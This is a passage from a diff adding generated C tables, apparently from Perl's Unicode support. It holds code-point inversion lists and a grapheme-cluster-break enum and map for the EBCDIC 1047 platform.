+	0xA6F0,
+	0xA6F2,
+	0xA802,
+	0xA803,
+	0xA806,
+	0xA807,
+	0xA80B,
+	0xA80C,
+	0xA823,
+	0xA825,
+	0xA827,
+	0xA828,
+	0xA880,
+	0xA882,
+	0xA8B4,
+	0xA8C4,
+	0xA8C6,
+	0xA8E0,
+	0xA8F2,
+	0xA926,
+	0xA92E,
+	0xA947,
+	0xA952,
+	0xA954,
+	0xA960,
+	0xA97D,
+	0xA980,
+	0xA983,
+	0xA984,
+	0xA9B3,
+	0xA9B4,
+	0xA9B6,
+	0xA9BA,
+	0xA9BC,
+	0xA9BD,
+	0xA9C1,
+	0xA9E5,
+	0xA9E6,
+	0xAA29,
+	0xAA2F,
+	0xAA31,
+	0xAA33,
+	0xAA35,
+	0xAA37,
+	0xAA43,
+	0xAA44,
+	0xAA4C,
+	0xAA4D,
+	0xAA4E,
+	0xAA7C,
+	0xAA7D,
+	0xAAB0,
+	0xAAB1,
+	0xAAB2,
+	0xAAB5,
+	0xAAB7,
+	0xAAB9,
+	0xAABE,
+	0xAAC0,
+	0xAAC1,
+	0xAAC2,
+	0xAAEB,
+	0xAAEC,
+	0xAAEE,
+	0xAAF0,
+	0xAAF5,
+	0xAAF6,
+	0xAAF7,
+	0xABE3,
+	0xABE5,
+	0xABE6,
+	0xABE8,
+	0xABE9,
+	0xABEB,
+	0xABEC,
+	0xABED,
+	0xABEE,
+	0xAC00,
+	0xAC01,
+	0xAC1C,
+	0xAC1D,
+	0xAC38,
+	0xAC39,
+	0xAC54,
+	0xAC55,
+	0xAC70,
+	0xAC71,
+	0xAC8C,
+	0xAC8D,
+	0xACA8,
+	0xACA9,
+	0xACC4,
+	0xACC5,
+	0xACE0,
+	0xACE1,
+	0xACFC,
+	0xACFD,
+	0xAD18,
+	0xAD19,
+	0xAD34,
+	0xAD35,
+	0xAD50,
+	0xAD51,
+	0xAD6C,
+	0xAD6D,
+	0xAD88,
+	0xAD89,
+	0xADA4,
+	0xADA5,
+	0xADC0,
+	0xADC1,
+	0xADDC,
+	0xADDD,
+	0xADF8,
+	0xADF9,
+	0xAE14,
+	0xAE15,
+	0xAE30,
+	0xAE31,
+	0xAE4C,
+	0xAE4D,
+	0xAE68,
+	0xAE69,
+	0xAE84,
+	0xAE85,
+	0xAEA0,
+	0xAEA1,
+	0xAEBC,
+	0xAEBD,
+	0xAED8,
+	0xAED9,
+	0xAEF4,
+	0xAEF5,
+	0xAF10,
+	0xAF11,
+	0xAF2C,
+	0xAF2D,
+	0xAF48,
+	0xAF49,
+	0xAF64,
+	0xAF65,
+	0xAF80,
+	0xAF81,
+	0xAF9C,
+	0xAF9D,
+	0xAFB8,
+	0xAFB9,
+	0xAFD4,
+	0xAFD5,
+	0xAFF0,
+	0xAFF1,
+	0xB00C,
+	0xB00D,
+	0xB028,
+	0xB029,
+	0xB044,
+	0xB045,
+	0xB060,
+	0xB061,
+	0xB07C,
+	0xB07D,
+	0xB098,
+	0xB099,
+	0xB0B4,
+	0xB0B5,
+	0xB0D0,
+	0xB0D1,
+	0xB0EC,
+	0xB0ED,
+	0xB108,
+	0xB109,
+	0xB124,
+	0xB125,
+	0xB140,
+	0xB141,
+	0xB15C,
+	0xB15D,
+	0xB178,
+	0xB179,
+	0xB194,
+	0xB195,
+	0xB1B0,
+	0xB1B1,
+	0xB1CC,
+	0xB1CD,
+	0xB1E8,
+	0xB1E9,
+	0xB204,
+	0xB205,
+	0xB220,
+	0xB221,
+	0xB23C,
+	0xB23D,
+	0xB258,
+	0xB259,
+	0xB274,
+	0xB275,
+	0xB290,
+	0xB291,
+	0xB2AC,
+	0xB2AD,
+	0xB2C8,
+	0xB2C9,
+	0xB2E4,
+	0xB2E5,
+	0xB300,
+	0xB301,
+	0xB31C,
+	0xB31D,
+	0xB338,
+	0xB339,
+	0xB354,
+	0xB355,
+	0xB370,
+	0xB371,
+	0xB38C,
+	0xB38D,
+	0xB3A8,
+	0xB3A9,
+	0xB3C4,
+	0xB3C5,
+	0xB3E0,
+	0xB3E1,
+	0xB3FC,
+	0xB3FD,
+	0xB418,
+	0xB419,
+	0xB434,
+	0xB435,
+	0xB450,
+	0xB451,
+	0xB46C,
+	0xB46D,
+	0xB488,
+	0xB489,
+	0xB4A4,
+	0xB4A5,
+	0xB4C0,
+	0xB4C1,
+	0xB4DC,
+	0xB4DD,
+	0xB4F8,
+	0xB4F9,
+	0xB514,
+	0xB515,
+	0xB530,
+	0xB531,
+	0xB54C,
+	0xB54D,
+	0xB568,
+	0xB569,
+	0xB584,
+	0xB585,
+	0xB5A0,
+	0xB5A1,
+	0xB5BC,
+	0xB5BD,
+	0xB5D8,
+	0xB5D9,
+	0xB5F4,
+	0xB5F5,
+	0xB610,
+	0xB611,
+	0xB62C,
+	0xB62D,
+	0xB648,
+	0xB649,
+	0xB664,
+	0xB665,
+	0xB680,
+	0xB681,
+	0xB69C,
+	0xB69D,
+	0xB6B8,
+	0xB6B9,
+	0xB6D4,
+	0xB6D5,
+	0xB6F0,
+	0xB6F1,
+	0xB70C,
+	0xB70D,
+	0xB728,
+	0xB729,
+	0xB744,
+	0xB745,
+	0xB760,
+	0xB761,
+	0xB77C,
+	0xB77D,
+	0xB798,
+	0xB799,
+	0xB7B4,
+	0xB7B5,
+	0xB7D0,
+	0xB7D1,
+	0xB7EC,
+	0xB7ED,
+	0xB808,
+	0xB809,
+	0xB824,
+	0xB825,
+	0xB840,
+	0xB841,
+	0xB85C,
+	0xB85D,
+	0xB878,
+	0xB879,
+	0xB894,
+	0xB895,
+	0xB8B0,
+	0xB8B1,
+	0xB8CC,
+	0xB8CD,
+	0xB8E8,
+	0xB8E9,
+	0xB904,
+	0xB905,
+	0xB920,
+	0xB921,
+	0xB93C,
+	0xB93D,
+	0xB958,
+	0xB959,
+	0xB974,
+	0xB975,
+	0xB990,
+	0xB991,
+	0xB9AC,
+	0xB9AD,
+	0xB9C8,
+	0xB9C9,
+	0xB9E4,
+	0xB9E5,
+	0xBA00,
+	0xBA01,
+	0xBA1C,
+	0xBA1D,
+	0xBA38,
+	0xBA39,
+	0xBA54,
+	0xBA55,
+	0xBA70,
+	0xBA71,
+	0xBA8C,
+	0xBA8D,
+	0xBAA8,
+	0xBAA9,
+	0xBAC4,
+	0xBAC5,
+	0xBAE0,
+	0xBAE1,
+	0xBAFC,
+	0xBAFD,
+	0xBB18,
+	0xBB19,
+	0xBB34,
+	0xBB35,
+	0xBB50,
+	0xBB51,
+	0xBB6C,
+	0xBB6D,
+	0xBB88,
+	0xBB89,
+	0xBBA4,
+	0xBBA5,
+	0xBBC0,
+	0xBBC1,
+	0xBBDC,
+	0xBBDD,
+	0xBBF8,
+	0xBBF9,
+	0xBC14,
+	0xBC15,
+	0xBC30,
+	0xBC31,
+	0xBC4C,
+	0xBC4D,
+	0xBC68,
+	0xBC69,
+	0xBC84,
+	0xBC85,
+	0xBCA0,
+	0xBCA1,
+	0xBCBC,
+	0xBCBD,
+	0xBCD8,
+	0xBCD9,
+	0xBCF4,
+	0xBCF5,
+	0xBD10,
+	0xBD11,
+	0xBD2C,
+	0xBD2D,
+	0xBD48,
+	0xBD49,
+	0xBD64,
+	0xBD65,
+	0xBD80,
+	0xBD81,
+	0xBD9C,
+	0xBD9D,
+	0xBDB8,
+	0xBDB9,
+	0xBDD4,
+	0xBDD5,
+	0xBDF0,
+	0xBDF1,
+	0xBE0C,
+	0xBE0D,
+	0xBE28,
+	0xBE29,
+	0xBE44,
+	0xBE45,
+	0xBE60,
+	0xBE61,
+	0xBE7C,
+	0xBE7D,
+	0xBE98,
+	0xBE99,
+	0xBEB4,
+	0xBEB5,
+	0xBED0,
+	0xBED1,
+	0xBEEC,
+	0xBEED,
+	0xBF08,
+	0xBF09,
+	0xBF24,
+	0xBF25,
+	0xBF40,
+	0xBF41,
+	0xBF5C,
+	0xBF5D,
+	0xBF78,
+	0xBF79,
+	0xBF94,
+	0xBF95,
+	0xBFB0,
+	0xBFB1,
+	0xBFCC,
+	0xBFCD,
+	0xBFE8,
+	0xBFE9,
+	0xC004,
+	0xC005,
+	0xC020,
+	0xC021,
+	0xC03C,
+	0xC03D,
+	0xC058,
+	0xC059,
+	0xC074,
+	0xC075,
+	0xC090,
+	0xC091,
+	0xC0AC,
+	0xC0AD,
+	0xC0C8,
+	0xC0C9,
+	0xC0E4,
+	0xC0E5,
+	0xC100,
+	0xC101,
+	0xC11C,
+	0xC11D,
+	0xC138,
+	0xC139,
+	0xC154,
+	0xC155,
+	0xC170,
+	0xC171,
+	0xC18C,
+	0xC18D,
+	0xC1A8,
+	0xC1A9,
+	0xC1C4,
+	0xC1C5,
+	0xC1E0,
+	0xC1E1,
+	0xC1FC,
+	0xC1FD,
+	0xC218,
+	0xC219,
+	0xC234,
+	0xC235,
+	0xC250,
+	0xC251,
+	0xC26C,
+	0xC26D,
+	0xC288,
+	0xC289,
+	0xC2A4,
+	0xC2A5,
+	0xC2C0,
+	0xC2C1,
+	0xC2DC,
+	0xC2DD,
+	0xC2F8,
+	0xC2F9,
+	0xC314,
+	0xC315,
+	0xC330,
+	0xC331,
+	0xC34C,
+	0xC34D,
+	0xC368,
+	0xC369,
+	0xC384,
+	0xC385,
+	0xC3A0,
+	0xC3A1,
+	0xC3BC,
+	0xC3BD,
+	0xC3D8,
+	0xC3D9,
+	0xC3F4,
+	0xC3F5,
+	0xC410,
+	0xC411,
+	0xC42C,
+	0xC42D,
+	0xC448,
+	0xC449,
+	0xC464,
+	0xC465,
+	0xC480,
+	0xC481,
+	0xC49C,
+	0xC49D,
+	0xC4B8,
+	0xC4B9,
+	0xC4D4,
+	0xC4D5,
+	0xC4F0,
+	0xC4F1,
+	0xC50C,
+	0xC50D,
+	0xC528,
+	0xC529,
+	0xC544,
+	0xC545,
+	0xC560,
+	0xC561,
+	0xC57C,
+	0xC57D,
+	0xC598,
+	0xC599,
+	0xC5B4,
+	0xC5B5,
+	0xC5D0,
+	0xC5D1,
+	0xC5EC,
+	0xC5ED,
+	0xC608,
+	0xC609,
+	0xC624,
+	0xC625,
+	0xC640,
+	0xC641,
+	0xC65C,
+	0xC65D,
+	0xC678,
+	0xC679,
+	0xC694,
+	0xC695,
+	0xC6B0,
+	0xC6B1,
+	0xC6CC,
+	0xC6CD,
+	0xC6E8,
+	0xC6E9,
+	0xC704,
+	0xC705,
+	0xC720,
+	0xC721,
+	0xC73C,
+	0xC73D,
+	0xC758,
+	0xC759,
+	0xC774,
+	0xC775,
+	0xC790,
+	0xC791,
+	0xC7AC,
+	0xC7AD,
+	0xC7C8,
+	0xC7C9,
+	0xC7E4,
+	0xC7E5,
+	0xC800,
+	0xC801,
+	0xC81C,
+	0xC81D,
+	0xC838,
+	0xC839,
+	0xC854,
+	0xC855,
+	0xC870,
+	0xC871,
+	0xC88C,
+	0xC88D,
+	0xC8A8,
+	0xC8A9,
+	0xC8C4,
+	0xC8C5,
+	0xC8E0,
+	0xC8E1,
+	0xC8FC,
+	0xC8FD,
+	0xC918,
+	0xC919,
+	0xC934,
+	0xC935,
+	0xC950,
+	0xC951,
+	0xC96C,
+	0xC96D,
+	0xC988,
+	0xC989,
+	0xC9A4,
+	0xC9A5,
+	0xC9C0,
+	0xC9C1,
+	0xC9DC,
+	0xC9DD,
+	0xC9F8,
+	0xC9F9,
+	0xCA14,
+	0xCA15,
+	0xCA30,
+	0xCA31,
+	0xCA4C,
+	0xCA4D,
+	0xCA68,
+	0xCA69,
+	0xCA84,
+	0xCA85,
+	0xCAA0,
+	0xCAA1,
+	0xCABC,
+	0xCABD,
+	0xCAD8,
+	0xCAD9,
+	0xCAF4,
+	0xCAF5,
+	0xCB10,
+	0xCB11,
+	0xCB2C,
+	0xCB2D,
+	0xCB48,
+	0xCB49,
+	0xCB64,
+	0xCB65,
+	0xCB80,
+	0xCB81,
+	0xCB9C,
+	0xCB9D,
+	0xCBB8,
+	0xCBB9,
+	0xCBD4,
+	0xCBD5,
+	0xCBF0,
+	0xCBF1,
+	0xCC0C,
+	0xCC0D,
+	0xCC28,
+	0xCC29,
+	0xCC44,
+	0xCC45,
+	0xCC60,
+	0xCC61,
+	0xCC7C,
+	0xCC7D,
+	0xCC98,
+	0xCC99,
+	0xCCB4,
+	0xCCB5,
+	0xCCD0,
+	0xCCD1,
+	0xCCEC,
+	0xCCED,
+	0xCD08,
+	0xCD09,
+	0xCD24,
+	0xCD25,
+	0xCD40,
+	0xCD41,
+	0xCD5C,
+	0xCD5D,
+	0xCD78,
+	0xCD79,
+	0xCD94,
+	0xCD95,
+	0xCDB0,
+	0xCDB1,
+	0xCDCC,
+	0xCDCD,
+	0xCDE8,
+	0xCDE9,
+	0xCE04,
+	0xCE05,
+	0xCE20,
+	0xCE21,
+	0xCE3C,
+	0xCE3D,
+	0xCE58,
+	0xCE59,
+	0xCE74,
+	0xCE75,
+	0xCE90,
+	0xCE91,
+	0xCEAC,
+	0xCEAD,
+	0xCEC8,
+	0xCEC9,
+	0xCEE4,
+	0xCEE5,
+	0xCF00,
+	0xCF01,
+	0xCF1C,
+	0xCF1D,
+	0xCF38,
+	0xCF39,
+	0xCF54,
+	0xCF55,
+	0xCF70,
+	0xCF71,
+	0xCF8C,
+	0xCF8D,
+	0xCFA8,
+	0xCFA9,
+	0xCFC4,
+	0xCFC5,
+	0xCFE0,
+	0xCFE1,
+	0xCFFC,
+	0xCFFD,
+	0xD018,
+	0xD019,
+	0xD034,
+	0xD035,
+	0xD050,
+	0xD051,
+	0xD06C,
+	0xD06D,
+	0xD088,
+	0xD089,
+	0xD0A4,
+	0xD0A5,
+	0xD0C0,
+	0xD0C1,
+	0xD0DC,
+	0xD0DD,
+	0xD0F8,
+	0xD0F9,
+	0xD114,
+	0xD115,
+	0xD130,
+	0xD131,
+	0xD14C,
+	0xD14D,
+	0xD168,
+	0xD169,
+	0xD184,
+	0xD185,
+	0xD1A0,
+	0xD1A1,
+	0xD1BC,
+	0xD1BD,
+	0xD1D8,
+	0xD1D9,
+	0xD1F4,
+	0xD1F5,
+	0xD210,
+	0xD211,
+	0xD22C,
+	0xD22D,
+	0xD248,
+	0xD249,
+	0xD264,
+	0xD265,
+	0xD280,
+	0xD281,
+	0xD29C,
+	0xD29D,
+	0xD2B8,
+	0xD2B9,
+	0xD2D4,
+	0xD2D5,
+	0xD2F0,
+	0xD2F1,
+	0xD30C,
+	0xD30D,
+	0xD328,
+	0xD329,
+	0xD344,
+	0xD345,
+	0xD360,
+	0xD361,
+	0xD37C,
+	0xD37D,
+	0xD398,
+	0xD399,
+	0xD3B4,
+	0xD3B5,
+	0xD3D0,
+	0xD3D1,
+	0xD3EC,
+	0xD3ED,
+	0xD408,
+	0xD409,
+	0xD424,
+	0xD425,
+	0xD440,
+	0xD441,
+	0xD45C,
+	0xD45D,
+	0xD478,
+	0xD479,
+	0xD494,
+	0xD495,
+	0xD4B0,
+	0xD4B1,
+	0xD4CC,
+	0xD4CD,
+	0xD4E8,
+	0xD4E9,
+	0xD504,
+	0xD505,
+	0xD520,
+	0xD521,
+	0xD53C,
+	0xD53D,
+	0xD558,
+	0xD559,
+	0xD574,
+	0xD575,
+	0xD590,
+	0xD591,
+	0xD5AC,
+	0xD5AD,
+	0xD5C8,
+	0xD5C9,
+	0xD5E4,
+	0xD5E5,
+	0xD600,
+	0xD601,
+	0xD61C,
+	0xD61D,
+	0xD638,
+	0xD639,
+	0xD654,
+	0xD655,
+	0xD670,
+	0xD671,
+	0xD68C,
+	0xD68D,
+	0xD6A8,
+	0xD6A9,
+	0xD6C4,
+	0xD6C5,
+	0xD6E0,
+	0xD6E1,
+	0xD6FC,
+	0xD6FD,
+	0xD718,
+	0xD719,
+	0xD734,
+	0xD735,
+	0xD750,
+	0xD751,
+	0xD76C,
+	0xD76D,
+	0xD788,
+	0xD789,
+	0xD7A4,
+	0xD7B0,
+	0xD7C7,
+	0xD7CB,
+	0xD7FC,
+	0xD800,
+	0xE000,
+	0xFB1E,
+	0xFB1F,
+	0xFE00,
+	0xFE10,
+	0xFE20,
+	0xFE30,
+	0xFEFF,
+	0xFF00,
+	0xFF9E,
+	0xFFA0,
+	0xFFF0,
+	0xFFFC,
+	0x101FD,
+	0x101FE,
+	0x102E0,
+	0x102E1,
+	0x10376,
+	0x1037B,
+	0x10A01,
+	0x10A04,
+	0x10A05,
+	0x10A07,
+	0x10A0C,
+	0x10A10,
+	0x10A38,
+	0x10A3B,
+	0x10A3F,
+	0x10A40,
+	0x10AE5,
+	0x10AE7,
+	0x11000,
+	0x11001,
+	0x11002,
+	0x11003,
+	0x11038,
+	0x11047,
+	0x1107F,
+	0x11082,
+	0x11083,
+	0x110B0,
+	0x110B3,
+	0x110B7,
+	0x110B9,
+	0x110BB,
+	0x110BD,
+	0x110BE,
+	0x11100,
+	0x11103,
+	0x11127,
+	0x1112C,
+	0x1112D,
+	0x11135,
+	0x11173,
+	0x11174,
+	0x11180,
+	0x11182,
+	0x11183,
+	0x111B3,
+	0x111B6,
+	0x111BF,
+	0x111C1,
+	0x111C2,
+	0x111C4,
+	0x111CA,
+	0x111CD,
+	0x1122C,
+	0x1122F,
+	0x11232,
+	0x11234,
+	0x11235,
+	0x11236,
+	0x11238,
+	0x1123E,
+	0x1123F,
+	0x112DF,
+	0x112E0,
+	0x112E3,
+	0x112EB,
+	0x11300,
+	0x11302,
+	0x11304,
+	0x1133C,
+	0x1133D,
+	0x1133E,
+	0x1133F,
+	0x11340,
+	0x11341,
+	0x11345,
+	0x11347,
+	0x11349,
+	0x1134B,
+	0x1134E,
+	0x11357,
+	0x11358,
+	0x11362,
+	0x11364,
+	0x11366,
+	0x1136D,
+	0x11370,
+	0x11375,
+	0x11435,
+	0x11438,
+	0x11440,
+	0x11442,
+	0x11445,
+	0x11446,
+	0x11447,
+	0x114B0,
+	0x114B1,
+	0x114B3,
+	0x114B9,
+	0x114BA,
+	0x114BB,
+	0x114BD,
+	0x114BE,
+	0x114BF,
+	0x114C1,
+	0x114C2,
+	0x114C4,
+	0x115AF,
+	0x115B0,
+	0x115B2,
+	0x115B6,
+	0x115B8,
+	0x115BC,
+	0x115BE,
+	0x115BF,
+	0x115C1,
+	0x115DC,
+	0x115DE,
+	0x11630,
+	0x11633,
+	0x1163B,
+	0x1163D,
+	0x1163E,
+	0x1163F,
+	0x11641,
+	0x116AB,
+	0x116AC,
+	0x116AD,
+	0x116AE,
+	0x116B0,
+	0x116B6,
+	0x116B7,
+	0x116B8,
+	0x1171D,
+	0x11720,
+	0x11722,
+	0x11726,
+	0x11727,
+	0x1172C,
+	0x11A01,
+	0x11A07,
+	0x11A09,
+	0x11A0B,
+	0x11A33,
+	0x11A39,
+	0x11A3A,
+	0x11A3B,
+	0x11A3F,
+	0x11A47,
+	0x11A48,
+	0x11A51,
+	0x11A57,
+	0x11A59,
+	0x11A5C,
+	0x11A86,
+	0x11A8A,
+	0x11A97,
+	0x11A98,
+	0x11A9A,
+	0x11C2F,
+	0x11C30,
+	0x11C37,
+	0x11C38,
+	0x11C3E,
+	0x11C3F,
+	0x11C40,
+	0x11C92,
+	0x11CA8,
+	0x11CA9,
+	0x11CAA,
+	0x11CB1,
+	0x11CB2,
+	0x11CB4,
+	0x11CB5,
+	0x11CB7,
+	0x11D31,
+	0x11D37,
+	0x11D3A,
+	0x11D3B,
+	0x11D3C,
+	0x11D3E,
+	0x11D3F,
+	0x11D46,
+	0x11D47,
+	0x11D48,
+	0x16AF0,
+	0x16AF5,
+	0x16B30,
+	0x16B37,
+	0x16F51,
+	0x16F7F,
+	0x16F8F,
+	0x16F93,
+	0x1BC9D,
+	0x1BC9F,
+	0x1BCA0,
+	0x1BCA4,
+	0x1D165,
+	0x1D166,
+	0x1D167,
+	0x1D16A,
+	0x1D16D,
+	0x1D16E,
+	0x1D173,
+	0x1D17B,
+	0x1D183,
+	0x1D185,
+	0x1D18C,
+	0x1D1AA,
+	0x1D1AE,
+	0x1D242,
+	0x1D245,
+	0x1DA00,
+	0x1DA37,
+	0x1DA3B,
+	0x1DA6D,
+	0x1DA75,
+	0x1DA76,
+	0x1DA84,
+	0x1DA85,
+	0x1DA9B,
+	0x1DAA0,
+	0x1DAA1,
+	0x1DAB0,
+	0x1E000,
+	0x1E007,
+	0x1E008,
+	0x1E019,
+	0x1E01B,
+	0x1E022,
+	0x1E023,
+	0x1E025,
+	0x1E026,
+	0x1E02B,
+	0x1E8D0,
+	0x1E8D7,
+	0x1E944,
+	0x1E94B,
+	0x1F1E6,
+	0x1F200,
+	0x1F308,
+	0x1F309,
+	0x1F33E,
+	0x1F33F,
+	0x1F373,
+	0x1F374,
+	0x1F385,
+	0x1F386,
+	0x1F393,
+	0x1F394,
+	0x1F3A4,
+	0x1F3A5,
+	0x1F3A8,
+	0x1F3A9,
+	0x1F3C2,
+	0x1F3C5,
+	0x1F3C7,
+	0x1F3C8,
+	0x1F3CA,
+	0x1F3CD,
+	0x1F3EB,
+	0x1F3EC,
+	0x1F3ED,
+	0x1F3EE,
+	0x1F3FB,
+	0x1F400,
+	0x1F442,
+	0x1F444,
+	0x1F446,
+	0x1F451,
+	0x1F466,
+	0x1F46A,
+	0x1F46E,
+	0x1F46F,
+	0x1F470,
+	0x1F479,
+	0x1F47C,
+	0x1F47D,
+	0x1F481,
+	0x1F484,
+	0x1F485,
+	0x1F488,
+	0x1F48B,
+	0x1F48C,
+	0x1F4AA,
+	0x1F4AB,
+	0x1F4BB,
+	0x1F4BD,
+	0x1F527,
+	0x1F528,
+	0x1F52C,
+	0x1F52D,
+	0x1F574,
+	0x1F576,
+	0x1F57A,
+	0x1F57B,
+	0x1F590,
+	0x1F591,
+	0x1F595,
+	0x1F597,
+	0x1F5E8,
+	0x1F5E9,
+	0x1F645,
+	0x1F648,
+	0x1F64B,
+	0x1F650,
+	0x1F680,
+	0x1F681,
+	0x1F692,
+	0x1F693,
+	0x1F6A3,
+	0x1F6A4,
+	0x1F6B4,
+	0x1F6B7,
+	0x1F6C0,
+	0x1F6C1,
+	0x1F6CC,
+	0x1F6CD,
+	0x1F918,
+	0x1F91D,
+	0x1F91E,
+	0x1F920,
+	0x1F926,
+	0x1F927,
+	0x1F930,
+	0x1F93A,
+	0x1F93D,
+	0x1F93F,
+	0x1F9D1,
+	0x1F9DE,
+	0xE0000,
+	0xE0020,
+	0xE0080,
+	0xE0100,
+	0xE01F0,
+	0xE1000
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#endif	/* defined(PERL_IN_UTF8_C) */
+
+#if defined(PERL_IN_REGEXEC_C)
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+typedef enum {
+	GCB_Other = 0,
+	GCB_CR = 1,
+	GCB_Control = 2,
+	GCB_E_Base = 3,
+	GCB_E_Base_GAZ = 4,
+	GCB_E_Modifier = 5,
+	GCB_Extend = 6,
+	GCB_Glue_After_Zwj = 7,
+	GCB_L = 8,
+	GCB_LF = 9,
+	GCB_LV = 10,
+	GCB_LVT = 11,
+	GCB_Prepend = 12,
+	GCB_Regional_Indicator = 13,
+	GCB_SpacingMark = 14,
+	GCB_T = 15,
+	GCB_V = 16,
+	GCB_ZWJ = 17,
+	GCB_EDGE = 18
+} GCB_enum;
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const GCB_enum _Perl_GCB_invmap[] = { /* for EBCDIC 1047 */
+	GCB_Control,
+	GCB_CR,
+	GCB_Control,
+	GCB_LF,
+	GCB_Control,
+	GCB_Other,
+	GCB_Control,
+	GCB_Other,
+	GCB_Control,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Prepend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Control,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Prepend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Prepend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Prepend,
+	GCB_Extend,
+	GCB_SpacingMark,
+	GCB_Other,
+	GCB_Extend,
+	GCB_SpacingMark,
+	GCB_Extend,
+	GCB_Other,
+	GCB_SpacingMark,
+	GCB_Extend,
+	GCB_SpacingMark,
+	GCB_Extend,
+	GCB_SpacingMark,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_SpacingMark,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_SpacingMark,
+	GCB_Extend,
+	GCB_Other,
+	GCB_SpacingMark,
+	GCB_Other,
+	GCB_SpacingMark,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_SpacingMark,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_SpacingMark,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_SpacingMark,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_SpacingMark,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_SpacingMark,
+	GCB_Other,
+	GCB_SpacingMark,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_SpacingMark,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_SpacingMark,
+	GCB_Extend,
+	GCB_Other,
+	GCB_SpacingMark,
+	GCB_Other,
+	GCB_SpacingMark,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_SpacingMark,
+	GCB_Extend,
+	GCB_SpacingMark,
+	GCB_Other,
+	GCB_SpacingMark,
+	GCB_Other,
+	GCB_SpacingMark,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_SpacingMark,
+	GCB_Other,
+	GCB_Extend,
+	GCB_SpacingMark,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_SpacingMark,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_SpacingMark,
+	GCB_Extend,
+	GCB_SpacingMark,
+	GCB_Extend,
+	GCB_SpacingMark,
+	GCB_Other,
+	GCB_Extend,
+	GCB_SpacingMark,
+	GCB_Other,
+	GCB_SpacingMark,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_SpacingMark,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_SpacingMark,
+	GCB_Extend,
+	GCB_Other,
+	GCB_SpacingMark,
+	GCB_Other,
+	GCB_SpacingMark,
+	GCB_Extend,
+	GCB_Prepend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_SpacingMark,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_SpacingMark,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_SpacingMark,
+	GCB_Extend,
+	GCB_Other,
+	GCB_SpacingMark,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_SpacingMark,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_SpacingMark,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_SpacingMark,
+	GCB_Other,
+	GCB_Extend,
+	GCB_SpacingMark,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
